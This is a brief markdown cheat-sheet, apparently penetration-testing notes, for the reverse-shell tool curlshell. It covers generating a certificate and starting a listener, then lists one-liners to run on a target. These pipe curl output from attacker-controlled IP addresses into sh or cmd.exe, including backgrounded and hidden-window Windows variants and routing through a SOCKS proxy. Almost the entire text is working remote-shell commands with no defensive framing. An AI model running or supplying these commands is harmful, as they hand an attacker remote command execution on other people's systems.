# curlshell

* <https://github.com/SkyperTHC/curlshell>
* <https://raw.githubusercontent.com/SkyperTHC/curlshell/main/curlshell.py>
* Generate SSL Certificate

```
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=THC"
```

### Start Listener

```
./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
```

### Send callback

```
curl -skfL https://10.10.14.49:80 | sh 
curl -skfL https://192.168.50.170 | sh 
curl -skfL https://172.16.106.140 | cmd.exe
```

### Send callback in the background

* On the target:

```
(curl -sfL http://10.10.14.37 | sh &>/dev/null &) 
(curl -skfL https://10.10.14.49:80 | sh &>/dev/null &)
start "" /B cmd /C "curl -skfL https://172.16.106.140:8443 | cmd.exe"
 Start-Process -NoNewWindow -FilePath "cmd.exe" -ArgumentList "/c curl -sfkl https://172.16.106.140:8443 | cmd.exe"
```

* with a socks proxy

```
./curlshell.py -x socks5h://5.5.5.5:1080 --certificate cert.pem --private-key key.pem --listen-port 8080
```